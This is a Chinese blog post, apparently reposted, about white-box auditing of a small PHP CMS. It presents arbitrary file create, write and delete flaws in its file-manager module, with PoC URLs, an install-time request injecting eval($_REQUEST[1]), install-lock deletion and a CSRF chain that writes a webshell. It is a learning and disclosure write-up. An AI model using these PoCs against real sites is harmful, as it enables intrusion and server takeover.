0
  • 聊天消息
  • 系统消息
  • 评论与回复
登录后你可以
  • 下载海量资料
  • 学习在线课程
  • 观看技术视频
  • 写文章/发帖/加入社区
创作中心

完善资料让更多小伙伴认识你,还能领取20积分哦,立即完善>

3天内不再提示

某CMS的命令执行漏洞通用挖掘思路分享

jf_hKIAo4na 来源:菜鸟学安全 2023-05-18 17:18 次阅读

0x01 前言

大概是在上半年提交了某个CMS的命令执行漏洞,现在过了那么久,也想通过这次挖掘通用型漏洞,整理一下挖掘思路,分享给大家。

0x02 挖掘前期

一、CMS选择

如果你是第一次挖白盒漏洞,那么建议你像我一样,先找一些简单的来挖掘。

具体源码下载地址可以参考:

https://github.com/search?q=cms
https://search.gitee.com/?skin=rec&type=repository&q=cms
https://down.chinaz.com/
https://www.a5xiazai.com/
......

百度找找,肯定不止这些

那么应该怎么选择呢(这里我是站在第一次挖掘,或者仅使用过扫描工具扫描的师傅的角度这样说的,如果做过开发,代码功底很强等情况,emm...当我没说。):

1、找最新版的版本较低的,例如1.1、1.2
2、找github star不多的
3、找源码总容量小的
4、尽量不要找使用tp、yii、laravel等框架型CMS

这里说一下理由:
1、如果cms版本高,说明开发有经常维护,同时也说明里面的简单漏洞已经被发现并且被提交并整改了。(具体这个可以看看CMS官网放出的更新日志)

2、为什么找github star不多的cms?很简单,使用的人不多,没人标星,功能也比较少。


3、源码少容易看啊,而且想着源代码就那么点,看着也不会太心累。


4、这是我个人的理解哈,因为就像很多人说的,第一个审的可以看看bluecms。为什么?因为简单啊,tp框架首先各种C方法,I方法的,就够头疼了。

e8022e22-f143-11ed-90ce-dac502259ad0.pnge821c156-f143-11ed-90ce-dac502259ad0.png

扯了那么多,总结一句话:

跟挖SRC一样,如果你一开始就瞄着阿里SRC、百度SRC等来挖掘,一直挖不到洞,是不是心态崩了呢;如果你一开始借助nday的poc,结合fofa搜集资产,一下子就能挖到简单、小型企业的漏洞,虽然可能漏洞奖金不多、但是满满的成就感有没有~

代码审计也是一样的,一开始就找框架型的,MVC架构的CMS,不仅可能看不懂代码,还可能连路由都弄不懂呢。所以一开始还是找些简单的练练手比较好~

二、环境准备

1、PHPstudy

PHP、中间件、数据库,一个软件搞定,反正我是觉得用着很香。

e82bee2e-f143-11ed-90ce-dac502259ad0.png

2、代码扫描工具

目前的话我用的比较多的是seay和fortify。这里其实都一样,不是所有漏洞都是要通读代码来发现的,有的时候借助工具可以快很多。

e847d5a8-f143-11ed-90ce-dac502259ad0.pnge8592470-f143-11ed-90ce-dac502259ad0.png

3、BurpSuite

渗透测试神器级别的工具,这里不多介绍了,毕竟挖漏洞不抓包怎么行呢。

e863b4ee-f143-11ed-90ce-dac502259ad0.png

4、漏洞扫描工具

虽然我们拿到了源码,但是挖漏洞也不一定要从代码上进行呀,可以结合黑盒的方式,黑白盒一起,更容易挖到漏洞,也就是业内说的灰盒测试。

扫描工具这里推荐Xray+burp联动进行。随便抓几个包,有没有漏洞一目了然,让我们可以在测试漏洞的时候,还同时进行扫描。

e8885a42-f143-11ed-90ce-dac502259ad0.png

5、编辑器

编辑器的作用是方便查看代码,在有需要的时候才用,这里可以算是我水字数吧,我个人比较喜欢nopad++,当然别的也是可以的,phpstorm最好,可以快捷进行函数跳转。

工具下载地址:

https://www.xp.cn/
https://github.com/f1tz/cnseay
https://github.com/chaitin/xray/releases

三、搭建环境

1、首先下载源码,解压并放到phpstudy安装目录下的WWW文件夹中

e89d2c60-f143-11ed-90ce-dac502259ad0.png

2、安装方法一般是请求http://127.0.0.1/install/就可以了,按照提示输入信息

e8c2e70c-f143-11ed-90ce-dac502259ad0.png

3、提示安装成功即可

e8d97fb2-f143-11ed-90ce-dac502259ad0.png

0x03 挖掘中期

一、代码扫描

借助seay自带的自动审计功能进行代码扫描 e8f7501e-f143-11ed-90ce-dac502259ad0.png

二、黑白盒配合发现漏洞

这个其实是很有搞头的,这里没有详细说是因为当时确实重心在白盒上,实际上我感觉这个发现漏洞再去找对应的代码,会更加有趣些。

1、浏览器设置代理,指向burp:127.0.0.1:8080

e9181c72-f143-11ed-90ce-dac502259ad0.pnge9315106-f143-11ed-90ce-dac502259ad0.png   2、burp设置代理,指向xray:127.0.0.1:7777 e9411686-f143-11ed-90ce-dac502259ad0.png   3、开启xray被动扫描,命令:

./xray_darwin_amd64 webscan --listen 127.0.0.1:7777 --html-output test.html
e9549ddc-f143-11ed-90ce-dac502259ad0.png   4、在每个功能点都点一点,就跟正常测黑盒即可 e9661a30-f143-11ed-90ce-dac502259ad0.png   5、查看xray扫描结果 e9827e6e-f143-11ed-90ce-dac502259ad0.png   6、查看代码扫描结果 e99bf772-f143-11ed-90ce-dac502259ad0.png  

三、分析扫描结果

1、将结果一个个点击查看,分析漏洞是否真实存在 因为工具是按照正则匹配来进行扫描的,总会出现一些可能存在,但是实际不存在的情况,例如这个: e9b74fcc-f143-11ed-90ce-dac502259ad0.png   因为$_G['SYSTEM']['PATH']疑似为可控变量,所以爆出任意文件包含漏洞,那么实际上,往上看可以发现$_G['SYSTEM']['PATH']其实已经事先定义好了。 e9c64888-f143-11ed-90ce-dac502259ad0.png   2、定位漏洞
1)发现一个file_get_contents,可控变量为$path e9d221bc-f143-11ed-90ce-dac502259ad0.png   往前看,$path为我们直接get传入,只是做了一些限制与鉴权,没有进行过滤 e9f301fc-f143-11ed-90ce-dac502259ad0.png

$path = realpath($_GET['path']);
if (!$path) {
    if (!InArray('edit,save,del,mkdir,mkfile', $type) && !$_G['GET']['JSON']) {
        PkPopup('{content:"不存在的路径,请求路径:' . $_GET['path'] . '",icon:2,shade:1,hideclose:1,submit:function(){location.href="index.php?c=app&a=filesmanager:index&path="}}');
    }
    ExitJson('不存在的路径,请求路径:' . $_GET['path']);
}
$_G['TEMP']['PATH'] = iconv('GBK', 'UTF-8//IGNORE', $path);
if (strpos($path, $spath) !== 0) {
    if (!InArray('edit,save,del,mkdir,mkfile', $type) && !$_G['GET']['JSON']) {
        PkPopup('{content:"越权操作,请求路径:' . $_GET['path'] . '",icon:2,shade:1,hideclose:1,submit:function(){location.href="index.php?c=app&a=filesmanager:index&path="}}');
    }
    ExitJson('越权操作,请求路径:' . $_GET['path']);
}


switch ($type) {
    case 'edit' :
        if (filetype($path) != 'file') {
            if ($_G['GET']['JSON']) {
                ExitJson('不存在的文件');
            }
            PkPopup('{content:"不存在的文件",icon:2,shade:1,hideclose:1,submit:function(){location.href="index.php?c=app&a=filesmanager:index&path="}}');
        }
        $suffix = substr($path, strrpos($path, '.') + 1);
        if (!InArray($suffixs, $suffix)) {
            if ($_G['GET']['JSON']) {
                ExitJson('不支持的文件格式');
            }
            PkPopup('{content:"不支持的文件格式",icon:2,shade:1,hideclose:1,submit:function(){location.href="index.php?c=app&a=filesmanager:index&path="}}');
        }
        $filecontent1 = file_get_contents($path);
        $filecontent = htmlspecialchars($filecontent1, ENT_QUOTES);
        if ($filecontent1 && !$filecontent) {
            if ($_G['GET']['JSON']) {
                ExitJson('不支持该文件编码,仅支持UTF-8');
            }
            PkPopup('{content:"不支持该文件编码,仅支持UTF-8",icon:2,shade:1,hideclose:1,submit:function(){location.href="index.php?c=app&a=filesmanager:index&path="}}');
        }
        if ($_G['GET']['JSON']) {
            ExitJson($filecontent1, TRUE);
        }
        $path = str_replace('\', '/', $path);
        $paths = explode('/', $path);
        $path = '';
        for ($i = 0; $i < count($paths); $i++) {
            if ($i == count($paths) - 1) {
                $filename = $paths[$i];
            } else {
                $path .= $paths[$i] . '/';
            }
        }
        ExitGourl('index.php?c=app&a=filesmanager:index&path=' . urlencode(realpath($path)) . '&editbtn=' . md5($filename));
        break;
2)往下看,对$path进行unlink(),即删除操作

ea08abe2-f143-11ed-90ce-dac502259ad0.png

case 'del' :
        $r = unlink($path);
        ExitJson('操作完成', $r);
        break;
3)再往下,传入mkname,使用file_put_contents进行文件创建,内容为空。很明显只是检测是否存在重复创建的情况,未进行过滤。

ea1253ea-f143-11ed-90ce-dac502259ad0.png

case 'mkfile' :
        $mkname = $_GET['mkname'];
        if (!$mkname) {
            ExitJson('请输入目录或文件的名称');
        }
        if ($type == 'mkdir') {
            if (file_exists($path . "/{$mkname}")) {
                ExitJson('目录已存在');
            }
            $r = mkdir($path . "/{$mkname}");
        } else {
            if (file_exists($path . "/{$mkname}")) {
                ExitJson('文件已存在');
            }
            $r = file_put_contents($path . "/{$mkname}", '');
        }
        ExitJson('操作完成', $r === FALSE ? FALSE : TRUE);
        break;
}
3、研究路由,查看如何调用漏洞函数 1)首先查看这个漏洞路径,字面上意思是在/app/目录下的一个文件管理的操作
/app/filesmanager/index.php
2)回到网站,刚刚黑盒测试的时候,发现路由规律为: ea2524e8-f143-11ed-90ce-dac502259ad0.pngea330fe0-f143-11ed-90ce-dac502259ad0.png   请求了http://url/index.php?c=read&id=1&page=1后,会发出这样的一个请求:
/index.php?c=app&a=puyuetianeditor:index&s=myfiles&page=1
通过a=puyuetianeditor:index,定位文件位置为/app/puyuetianeditor/index.php ea4328d0-f143-11ed-90ce-dac502259ad0.png   3)在文件中看到继续请求了'/app/puyuetianeditor/phpscript/' . $_G['GET']['S'] . '.php,在URL中可以看到s传入的参数为myfiles,所以可以定位文件路径为:
/app/puyuetianeditor/phpscript/myfiles.php

ea53b3f8-f143-11ed-90ce-dac502259ad0.png

4)漏洞路径/app/filesmanager/index.php即可以对应URL

/?c=app&a=filesmanager:index

四、验证漏洞

任意创建文件

1、搭建网站并登录进网站后台 ea6601a2-f143-11ed-90ce-dac502259ad0.png   2、漏洞存在点为/app/filesmanager/index.php

ea872c74-f143-11ed-90ce-dac502259ad0.png

3、进行一些操作后,通过file_put_contents创建文件,poc:

http://127.0.0.1/index.php?c=app&a=filesmanager:index&type=mkfile&mkname=123.php
ea96b9dc-f143-11ed-90ce-dac502259ad0.png   4、在网站根目录可以看到文件创建成功 eaa69cbc-f143-11ed-90ce-dac502259ad0.png  

任意文件写入

poc:

http://127.0.0.1/index.php?c=app&a=filesmanager:index&type=save&path=123.php
POST:
filecontent=
eab58592-f143-11ed-90ce-dac502259ad0.png   可以看到文件内容成功写入 eacc5448-f143-11ed-90ce-dac502259ad0.png   尝试执行命令 eaf64b54-f143-11ed-90ce-dac502259ad0.png  

任意文件删除

poc:

http://127.0.0.1/index.php?c=app&a=filesmanager:index&type=del&path=123.php
eb1b3fe0-f143-11ed-90ce-dac502259ad0.png   漏洞文件存在的路径为/app/filesmanager/index.php eb2a582c-f143-11ed-90ce-dac502259ad0.png   可以看到123.php文件已成功删除。 eb3accfc-f143-11ed-90ce-dac502259ad0.png  

五、组合漏洞扩大成果

1、任意文件删除配合系统重装(失败)

以前就有看到过这样的漏洞,因为系统重装的时候,会将用户输入的配置信息写入到php文件中,那么如果可以输入代码,便可以成功执行了,这里尝试一下。


1)首先查看index.php文件
只要install.locked文件存在即表示网站已安装

eb47f3e6-f143-11ed-90ce-dac502259ad0.png   2)再看/install/index.php,可以看到也是这个文件存在即不能重装系统。 eb6bf930-f143-11ed-90ce-dac502259ad0.png

3)通过任意文件删除,将此文件进行删除:

http://192.168.150.9/index.php?c=app&a=filesmanager:index&type=del&path=C://phpStudy/WWW/install/install.locked
eb7c3dfe-f143-11ed-90ce-dac502259ad0.png   4)访问/install/index.php即可进行重装系统操作 eb8dc7a4-f143-11ed-90ce-dac502259ad0.png   5)正常执行,在step=2的时候,输入数据库等信息 ebafabc6-f143-11ed-90ce-dac502259ad0.pngebc36efe-f143-11ed-90ce-dac502259ad0.png   定位到/phpscript/environment.php文件 ebe852e6-f143-11ed-90ce-dac502259ad0.png   再到/template/environment.hst ebf585c4-f143-11ed-90ce-dac502259ad0.png   发现关键字mysql_username ec095946-f143-11ed-90ce-dac502259ad0.png   全局搜索一下,定位文件位置: ec2c8182-f143-11ed-90ce-dac502259ad0.pngec49c1c0-f143-11ed-90ce-dac502259ad0.png   可以看到配置信息最后会写入到这里。 ec7f0c04-f143-11ed-90ce-dac502259ad0.png   6)抓取传入信息的数据包,进行测试 eca33b42-f143-11ed-90ce-dac502259ad0.png   多次fuzz,确认确实可以写入一些东西
POST /install/index.php?step=3 HTTP/1.1
Host: 192.168.150.9
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:93.0) Gecko/20100101 Firefox/93.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 302
Origin: http://192.168.150.9
Connection: close
Referer: http://192.168.150.9/install/index.php?step=2
Cookie: PHPSESSID=b9imt0v97o8hsml01jr0tro9n3; UIA=KXoyLywxNlo2YDQtLl8tX2BlMjAqLzUqX103Y1xlZWBcMzFeXi4xXjQsYDBeMC8tZDEsXjIxMCoxLjIvXmQ1Y14w; app_puyuetianeditor_editcontent=%3Cbr%3E


_webos=*&mysql_type=mysql&mysql_location=127.0.0.1&mysql_username=root&mysql_password=root&mysql_database='eval($_REQUEST[1])&mysql_prefix=pk_&mysql_charset=set+names+utf8&adminusername=phpinfo();&adminpassword=phpinfo();&adminemail=admin%40qq.com&hs_username=&hs_password=&hs_domain=192.168.150.9
ecb6a34e-f143-11ed-90ce-dac502259ad0.png   7)最后发现不能传入;,否则会报错 eccc644a-f143-11ed-90ce-dac502259ad0.png   8)假设传入进去了,又会显示403 ecf420ac-f143-11ed-90ce-dac502259ad0.pnged094bc6-f143-11ed-90ce-dac502259ad0.png   9)感觉有机会,后面就看师傅们尝试了。。。  

2、任意文件写入配合CSRF(成功)

在dedecms中看到过的漏洞,因为后台的任意写文件在没有管理员权限的支持下无法利用,那么倘若配合CSRF漏洞,借用管理员的cookie便可以直接执行,扩大漏洞危害。 在这里尝试一下: 1)首先抓取写入文件的数据包,可以看到没有明显的token等字段 ed181cd2-f143-11ed-90ce-dac502259ad0.png   2)在漏洞文件中只是看到了权限检测 ed2f97fe-f143-11ed-90ce-dac502259ad0.png   3)使用burp生成任意文件写入的CSRF漏洞POC,保存为test.html ed472252-f143-11ed-90ce-dac502259ad0.pnged6cdac4-f143-11ed-90ce-dac502259ad0.png   4)生成任意文件创建的CSRF漏洞POC ed87c87a-f143-11ed-90ce-dac502259ad0.png   5)将两个文件整合到一起,并设置自动提交


   
  
  
    
6)在已登录的浏览器中打开test.html文件,跳转了几次后,显示ok,保存失败 eda1862a-f143-11ed-90ce-dac502259ad0.png   跟前面任意文件写入的返回是一样的,在网站根目录可以看到已经成功写入了 edb51df2-f143-11ed-90ce-dac502259ad0.png   执行命令 edc9ff10-f143-11ed-90ce-dac502259ad0.png  

0x04 挖掘后期&总结

挖掘后干嘛?提交漏洞呗~ 好的,这个算是刚开始学习没多久挖掘到的漏洞,其实现在觉得技术含量不高,发现漏洞也不难,主要想分享一下过程以及思路。 最后,希望看到这篇文章到小伙伴也能很快挖掘到通用型漏洞~

审核编辑:彭静
声明:本文内容及配图由入驻作者撰写或者入驻合作网站授权转载。文章观点仅代表作者本人,不代表电子发烧友网立场。文章及其配图仅供工程师学习之用,如有内容侵权或者其他违规问题,请联系本站处理。 举报投诉
  • 源码
    +关注

    关注

    8

    文章

    573

    浏览量

    28586
  • 代码
    +关注

    关注

    30

    文章

    4555

    浏览量

    66767
  • 漏洞
    +关注

    关注

    0

    文章

    193

    浏览量

    15114

原文标题:实战 | 某通用型漏洞挖掘思路分享

文章出处:【微信号:菜鸟学安全,微信公众号:菜鸟学安全】欢迎添加关注!文章转载请注明出处。

收藏 人收藏

    评论

    相关推荐

    小米路由器任意文件读取及远程命令执行漏洞解析

    存在任意文件读取漏洞和远程命令执行漏洞,攻击者通过该漏洞可以获取服务器权限,导致服务器失陷。 二、漏洞
    发表于 03-01 15:09 2073次阅读

    AlphaFuzzer漏洞挖掘工具的使用

    AlphaFuzzer是一款多功能的漏洞挖掘工具,到现在为止,该程序以文件格式为主。1.0版本主要包含了:一个智能文件格式的漏洞挖掘框架。一个通用
    发表于 07-15 06:44

    开源鸿蒙 OpenHarmony 获得 CVE 通用漏洞披露编号颁发资质

    8月15日晚间,开源鸿蒙 OpenAtom OpenHarmony 官方宣布于 8 月 3 日获得通过 CNA(通用漏洞披露编号授权机构)加入程序,成为 CVE(通用漏洞披露组织)的编
    发表于 08-17 11:34

    一种通用漏洞评级方法

    漏洞是网络安全事件的主要根源,漏洞的大量存在及其带来的危害使漏洞评级变得尤为重要。该文分析目前著名安全机构和生产厂商对漏洞进行评级的特点,介绍通用
    发表于 04-14 09:53 19次下载

    基于符号执行技术实现的驱动程序的漏洞检测

    思路,提出了一种基于符号执行技术实现的驱动程序模拟环境,可以用于分析和检测Linux设备驱动程序中存在的安全漏洞。该环境通过模拟内核提供给驱动程序的服务接口,使驱动程序可以在应用层进行符号
    发表于 12-05 16:06 0次下载
    基于符号<b class='flag-5'>执行</b>技术实现的驱动程序的<b class='flag-5'>漏洞</b>检测

    如何设置dede织梦CMS网站才能够更安全

    dede织梦CMS是开源CMS,而国内应用的人也比较多,一直一来织梦就出现过很多漏洞,而dede织梦CMS官方对系统的更新也是是很慢的,所以就需要我们自行对自己的网站进行一些必要的安全
    发表于 08-27 17:34 519次阅读

    思科升级远程命令执行等高危漏洞

    1月19日,思科发布了安全公告,旗下小型企业RV110W,RV130,RV130W和RV215W路由器中发现了远程命令执行等高危漏洞,建议尽快升级。以下是漏洞详情:
    的头像 发表于 01-20 15:40 1555次阅读

    漏洞挖掘工具afrog软件简介

    afrog 是一款性能卓越、快速稳定、PoC 可定制的漏洞扫描(挖洞)工具,PoC 涉及 CVE、CNVD、默认口令、信息泄露、指纹识别、未授权访问、任意文件读取、命令执行等多种漏洞
    的头像 发表于 09-13 09:06 1035次阅读

    一个批量漏洞挖掘工具

    依次执行命令创建MySQL数据库docker exec -it mysqlser bash,进入数据库交互mysql -uroot -p123 ,执行创建数据库 CREATE DATABASE IF NOT EXISTS QingScan;
    的头像 发表于 12-20 09:12 531次阅读

    看图片也能中招的漏洞原理

    漏洞描述:ImageMagick 在处理恶意构造的图片文件时,对于文件中的 URL 未经严格过滤,可导致命令注入漏洞。通过命令注入漏洞,黑客
    发表于 04-06 10:25 221次阅读

    Linux命令执行Bypass常见姿势介绍

    部署服务器端为Linux系统的http服务,留存get和post方式的一句话木马,用于命令执行测试。(测试思路可以对话Chatgpt)
    的头像 发表于 05-22 16:20 1574次阅读
    Linux<b class='flag-5'>命令</b><b class='flag-5'>执行</b>Bypass常见姿势介绍

    Linux命令执行Bypass常见姿势

    部署服务器端为Linux系统的http服务,留存get和post方式的一句话木马,用于命令执行测试。(测试思路可以对话Chatgpt)
    的头像 发表于 05-22 16:21 562次阅读
    Linux<b class='flag-5'>命令</b><b class='flag-5'>执行</b>Bypass常见姿势

    系统逻辑漏洞挖掘实践

    当谈及安全测试时,逻辑漏洞挖掘一直是一个备受关注的话题,它与传统的安全漏洞(如SQL注入、XSS、CSRF)不同,无法通过WAF、杀软等安全系统的简单扫描来检测和解决。这类漏洞往往涉及
    的头像 发表于 09-20 17:14 340次阅读
    系统逻辑<b class='flag-5'>漏洞</b><b class='flag-5'>挖掘</b>实践

    uboot命令执行过程是什么

    U-boot是通过执行u-boot提供的命令来加载Linux内核的,其中 命令bootm的功能 即为从memory启动Linux内核映像文件。 在讲解bootm加载内核之前,先来看看u-boot
    的头像 发表于 12-04 17:31 318次阅读

    Rust漏洞可远程执行恶意指令,已发布安全补丁

    漏洞源于操作系统命令及参数注入缺陷,攻击者能非法执行可能有害的指令。CVSS评分达10/10,意味着无须认证即可借助该漏洞发起低难度远端攻击。
    的头像 发表于 04-10 14:24 325次阅读